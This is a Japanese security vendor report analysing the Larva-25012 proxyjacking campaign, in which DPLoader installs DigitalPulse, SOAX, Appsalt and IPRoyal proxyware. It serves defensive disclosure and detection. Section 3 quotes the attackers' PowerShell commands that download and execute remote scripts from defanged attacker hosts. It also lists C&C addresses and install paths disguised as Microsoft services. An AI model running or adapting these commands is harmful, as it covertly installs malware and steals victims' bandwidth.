Larva-25012 攻撃者による2026年の Proxyware 配布事例 (DigitalPulse、SOAX、Appsalt、IPRoyal)

AhnLab SEcurity intelligence Center (ASEC) は Proxyjacking 攻撃を監視しており、2026年下半期に Larva-25012 攻撃者が再び Proxyware を活発に配布していることを確認した。攻撃者は、新たな手法でマルウェアを配布するのではなく、すでに感染しているシステムを対象に Proxyware を配布しているとみられる。

1. Proxyjacking 攻撃

Proxyjacking 攻撃とは、ユーザーの同意なく Proxyware をインストールし、感染したシステムのインターネット帯域幅の一部を外部に提供することで、攻撃者が収益を得る攻撃手法である。
Proxyware とは、インストールされたシステムで利用可能なインターネット帯域幅の一部を外部に提供するプログラムである。一般的に、これをインストールしたユーザーは、帯域幅を提供する対価として一定の報酬を受け取る。
攻撃者がユーザーの同意なく感染システムに Proxyware を密かにインストールした場合、感染したシステムは意図せずネットワーク帯域幅を奪われ、そこから得られる収益は攻撃者のものとなる。
これは Cryptojacking 攻撃と類似しているが、Proxyware の代わりにコインマイナーをインストールし、感染システムのリソースを利用して暗号資産をマイニングする点が異なる。

2. 過去の攻撃事例

Larva-25012 攻撃者は、少なくとも2025年から2026年初頭にかけて多数のシステムを対象に Proxyware を配布した。
攻撃者は主に、さまざまな YouTube 動画の無料ダウンロードサイトに表示される広告を通じて Proxyware を配布していた [1] [2] [3]。また、Steam クライアントのクリーンアップツールを装い、GitHub を利用して配布する手法も確認されている [4]。2026年初頭には、クラック版などの違法ソフトウェアのダウンロードページを通じて Proxyware が配布された事例も確認された。

攻撃者は最近、再び Proxyware を活発に配布している。これは、すでにインストールされている DPLoader を利用したものとみられる。DPLoader には JavaScript 版と Python 版が存在するが、攻撃には主に JavaScript 版が使用されていた。最初に配布されるマルウェアは Python コマンドを使用して Node.js をインストールし、タスクスケジューラに登録することで、難読化された JavaScript、すなわち DPLoader が継続的に実行されるようにしていた。
DPLoader は、システムの基本情報を収集して C&C サーバーに定期的に送信する。また、C&C サーバーからの応答に応じて PowerShell コマンドを実行することもできる。ダウンロードされた PowerShell コマンドは、いずれも Proxyware をインストールするものであった。

攻撃者が配布した Proxyware には、DigitalPulse、Honeygain、Infatica がある。DigitalPulse は、検知を回避するためにコードを難読化したり、エクスプローラーのプロセスにインジェクションしたりする手法を使用することもあった。このほか、SDK 形式で提供される Proxyware を悪用するため、ローダー型マルウェアとともにインストールし、攻撃者の API 情報を渡す手法も確認されている。

攻撃者は、Honeygain の利用規約に違反し、同サービスを無断で悪用していた。Honeygain 社からは、同社が当該攻撃キャンペーンに関与しておらず、これによる利益も得ていないとの説明を受けている。

3. 最新の攻撃事例

3.1. DigitalPulse

攻撃者は、すでにインストールされている DPLoader を悪用したとみられる。JavaScript 版の DPLoader を通じて DigitalPulse Proxyware がインストールされていた。

[図1] DPLoader を通じてインストールされた Proxyware

攻撃事例では、以下のようなコマンドが確認されており、これらのコマンドによってダウンロードされた PowerShell スクリプトが Proxyware をインストールする。

> cmd.exe /d /s /c “powershell.exe -ExecutionPolicy Bypass -Command \”$scriptUrl = ‘hxxps://pub-43fc211373d547278dd3d5bd0b4d9dac.r2[.]dev/87648736456384.ps1’; $tempScriptPath = [System.IO.Path]::Combine($env:TEMP, ‘tmp.ps1’); …
> powershell.exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxps://pub-43fc211373d547278dd3d5bd0b4d9dac.r2[.]dev/87648736456384.ps1 | iex”

PowerShell スクリプトは、ダウンロードした Proxyware を 「PlutonAgentScheduler」 という名前のタスクとして登録する。また、Microsoft Defender を無効化するコマンドも実行する。

[図2] ダウンローダーの PowerShell スクリプト

最終的に 「PlutonAgent.exe」 という名前でインストールされる Proxyware は、過去の事例と同じ DigitalPulse Proxyware である。

• DigitalPulse Proxyware インストールパス : %SystemRoot%\pluton\<Random>\plutonagent.exe

3.2. SOAX

SOAX Proxyware も、DigitalPulse と類似した PowerShell スクリプトを通じてインストールされる。

> powershell.exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxps://dhrciu5akloar.cloudfront[.]net/63563545600333.ps1 | iex”

PowerShell スクリプトは、「EnterpriseMgmtServicesScheduler」 という名前のタスクとして登録する。また、実行結果やエラーレポートを以下のアドレスに送信する点が特徴である。

• C&C サーバーアドレス : hxxps://7jb7qi6vnr5pa22a4br4irz3tu0yqzbd.lambda-url.us-east-1.on[.]aws/e[図3] C&C サーバーへの報告処理

Proxyware は、ローダーと SOAX SDK の DLL ファイルがセットで配布される。ローダーは、同じディレクトリに配置された SDK の DLL を読み込み、liblivenet_init() を呼び出す際に攻撃者のトークンを引数として渡す。

[図4] SOAX Proxyware のローダー

• SOAX ローダーインストールパス – 1 : %ProgramFiles%\deephour\deephour.exe
• SOAX ローダーインストールパス – 2 : %ProgramFiles%\microsoft\copilot\services\copilotservice.exe
• SOAX Proxyware インストールパス – 1 : %ProgramFiles%\deephour\libkldemtk_amd64.dll
• SOAX Proxyware インストールパス – 2 : %ProgramFiles%\microsoft\copilot\services\liblivenet_amd64.dll

3.3. Appsalt

別の事例では、Appsalt Proxyware も確認されている。Appsalt をインストールする PowerShell スクリプトは、機能面で SOAX Proxyware の事例と実質的に同じであり、タスクスケジューラに登録されるタスク名は 「SecurityHealthServiceSyncUpdate」 である。

> powershell.exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxps://d6nue5fz4t6y8.cloudfront[.]net/9083743654554665.ps1 | iex”

Appsalt Proxyware も、SDK の DLL とそれを実行するローダーがセットでインストールされる。ローダーは、以下のように appsalt_init() 関数を呼び出す際に攻撃者のトークンを引数として渡す。

[図5] Appsalt Proxyware のローダー

• Appsalt ローダーインストールパス : %ProgramFiles%\microsoft\servicing\securityhealthservicesyncupdate.exe
• Appsalt Proxyware インストールパス : %ProgramFiles%\microsoft\servicing\appsalt.dll

3.4. IPRoyal

攻撃者は、直近の事例では IPRoyal Proxyware をインストールしている。
タスクスケジューラに登録されるタスク名が 「BackgroundTaskRegistrationMaintenanceTaskScheduler」 である点を除けば、ほかの機能は同じである。

> powershell.exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxps://dci6j1p0q6khn.cloudfront[.]net/784365567456345.ps1 | iex”

[図6] IPRoyal のローダー

• IPRoyal ローダーインストールパス : %ProgramFiles%\Microsoft\TaskRegistrationMaintenanceTask\TaskRegistrationMaintenance.exe
• IPRoyal Proxyware インストールパス : %ProgramFiles%\Microsoft\TaskRegistrationMaintenanceTask\pawns-sdk.dll

4. 結論

Larva-25012 攻撃者は、YouTube 動画のダウンロードページ、オープンソースツール、違法ソフトウェアのクラック版ダウンロードページなどを装い、Proxyware を配布してきた。
最近では、すでに感染したシステムにインストールされている DPLoader を利用し、再び Proxyware を活発に配布していると推定される。
Proxyware マルウェアは、システムのリソースを利用して収益を得るという点でコインマイナーと類似している。最近では、韓国国内の多数のシステムが攻撃対象となっている。

ユーザーは、公式サイト以外の不審な Web サイトや、広告・ポップアップが表示されるサイト、ファイル共有サイトなどから実行ファイルをインストールする行為に注意する必要がある。
また、すでに感染しているシステムでは、V3 製品をインストールし、さらなるマルウェア感染を防ぐ必要がある。

[V3 診断名]

• Downloader/Powershell.Proxyware.SC316575 (2026.09.12.00)
• Downloader/Powershell.Proxyware.SC316650 (2026.09.19.00)
• Trojan/Win.Loader.C5946067 (2026.09.18.00)
• Trojan/Win.Loader.C5946330 (2026.09.18.03)
• Trojan/Win.Loader.C5948027 (2026.09.22.02)
• Unwanted/Win.Proxyware.C5946331 (2026.09.12.00)
• Unwanted/Win.Proxyware.C5943232 (2026.09.12.00)
• Unwanted/Win.Proxyware.C5943233 (2026.09.12.00)
• Unwanted/Win.Proxyware.C5946068 (2026.09.18.00)
• Unwanted/Win.Proxyware.C5946328 (2026.09.18.03)
• Unwanted/Win.Proxyware.C5948028 (2026.09.22.02)